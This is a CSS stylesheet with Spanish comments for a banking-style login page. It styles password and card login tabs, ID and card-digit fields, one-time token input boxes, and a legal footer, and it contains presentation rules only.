:root {
    --azul-bogota: #003da5;
    --azul-hover: #002d7a;
    --gris-fondo: #f4f7f9;
    --gris-borde: #d1d5db;
    --texto-oscuro: #1e293b;
    --gris-suave: #64748b;
    --blanco: #ffffff;
}

body {
    background-color: var(--gris-fondo);
    font-family: 'Segoe UI', Roboto, Arial, sans-serif;
    margin: 0;
    display: flex;
    justify-content: center;
    padding-top: 40px;
    color: var(--texto-oscuro);
}

.main-wrapper {
    width: 100%;
    max-width: 400px;
    padding: 15px;
}

/* Imagen por separado: Estilos del Logo */
.logo-header {
    text-align: center;
    padding: 10px 0 25px 0; /* Espaciado controlado */
    margin: 0;
}

.logo-header img {
    width: 400px; /* Tamaño institucional */
    height: auto;
    display: inline-block;
}

/* --- TARJETA FLEXIBLE (DISEÑO ANTERIOR) --- */
.login-card {
    background: var(--blanco);
    border-radius: 4px;
    box-shadow: 0 2px 4px rgba(0,0,0,0.08);
    border: 1px solid var(--gris-borde);
    overflow: hidden;
    
    /* Revertido a diseño flexible */
    width: 100%; /* Ocupa el ancho del wrapper */
    min-height: 500px; /* Estabilidad sin forzar */
    display: flex;
    flex-direction: column;
}

/* Pestañas (Tabs) */
.tabs {
    display: flex;
    background: #f8fafc;
    border-bottom: 1px solid var(--gris-borde);
    flex-shrink: 0;
}

.tab {
    flex: 1;
    padding: 16px;
    text-align: center;
    font-size: 14px;
    font-weight: 600;
    color: var(--gris-suave);
    cursor: pointer;
    transition: all 0.2s;
}

.tab.active {
    color: var(--azul-bogota);
    border-bottom: 3px solid var(--azul-bogota);
    background: var(--blanco);
}

/* Cuerpo del contenido */
.card-body {
    padding: 25px 20px;
    display: flex;
    flex-direction: column;
    flex-grow: 1;
}

/* Contenedores de formularios */
#form-clave-container, 
#form-tarjeta-container {
    display: flex;
    flex-direction: column;
    width: 100%;
}

.instruction {
    font-size: 13px;
    color: #475569;
    line-height: 1.5;
    margin-bottom: 20px;
}

/* Inputs y Grupos */
.input-group {
    margin-bottom: 18px;
}

.input-group label {
    display: block;
    font-size: 12px;
    font-weight: 700;
    color: var(--texto-oscuro);
    margin-bottom: 8px;
    text-transform: uppercase;
}

.dual-input {
    display: flex;
}

.dual-input select {
    width: 30%;
    padding: 12px;
    border: 1px solid var(--gris-borde);
    border-right: none;
    border-radius: 4px 0 0 4px;
    background-color: var(--blanco);
}

.dual-input input {
    width: 70%;
    padding: 12px;
    border: 1px solid var(--gris-borde);
    border-radius: 0 4px 4px 0;
}

input[type="password"], 
#ultimos-4,
#num-id-tarjeta,
#num-id {
    width: 100%;
    padding: 12px;
    border: 1px solid var(--gris-borde);
    border-radius: 4px;
    box-sizing: border-box;
}

/* Botones */
.btn-disabled {
    width: 100%;
    padding: 15px;
    background-color: #e2e8f0;
    color: #94a3b8;
    border: none;
    border-radius: 4px;
    font-weight: 700;
    font-size: 15px;
    cursor: not-allowed;
    margin-top: 10px;
    margin-bottom: 10px;
}

.btn-ready {
    background-color: var(--azul-bogota) !important;
    color: var(--blanco) !important;
    cursor: pointer !important;
}

/* Bloque Legal */
.footer-legal-text {
    margin-top: 20px;
    padding-top: 15px;
    border-top: 1px solid #f1f5f9;
}

.footer-legal-text p {
    font-size: 10.5px;
    color: var(--gris-suave);
    line-height: 1.4;
    margin-bottom: 8px;
    text-align: justify;
}

.footer-legal-text ul {
    padding-left: 15px;
    margin: 0;
}

.footer-legal-text li {
    font-size: 10px;
    color: var(--gris-suave);
    margin-bottom: 3px;
}

/* Enlaces finales */
.links {
    margin-top: 15px;
    display: flex;
    justify-content: space-between;
}

.links a {
    font-size: 12px;
    color: var(--azul-bogota);
    text-decoration: none;
    font-weight: 600;
}

/* Spinner y Error (Flexible) */
.error-box {
    background: var(--blanco);
    padding: 30px 20px;
    border-radius: 4px;
    border: 1px solid var(--gris-borde);
    text-align: center;
    width: 100%;
    min-height: 400px;
    box-sizing: border-box;
    display: flex;
    flex-direction: column;
    justify-content: center;
}

/* Contenedor independiente y separado */
.token-section-wrapper {
    margin: 40px 0; /* Separa los cuadros del texto de arriba y del botón de abajo */
    width: 100%;
    display: flex;
    justify-content: center;
    box-sizing: border-box;
}

.token-container-horizontal {
    display: flex;
    gap: 8px; /* Espacio reducido para que quepan todos */
    width: 100%;
    justify-content: space-between;
}

/* Cuadrados grandes y definidos */
.token-square {
    width: 50px !important;  /* Forzamos el ancho */
    height: 60px !important; /* Forzamos el alto */
    text-align: center;
    font-size: 28px;         /* Número grande y legible */
    font-weight: 700;
    border: 2px solid #d1d5db; /* Borde un poco más grueso */
    border-radius: 8px;
    background-color: #ffffff;
    color: #003da5;
    outline: none;
    transition: border-color 0.3s, box-shadow 0.3s;

    /* Usamos flex-basis para que se ajusten al ancho del padre sin salirse */
    flex: 1;
    min-width: 0; 
    max-width: 45px;
    height: 50px;
    text-align: center;
    font-size: 22px;
    font-weight: bold;
    border: 1px solid #d1d5db;
    border-radius: 6px;
    background-color: #ffffff;
    color: #003da5;
    outline: none;
}

.token-square:focus {
    border-color: #003da5;
    box-shadow: 0 0 10px rgba(0, 61, 165, 0.2);
}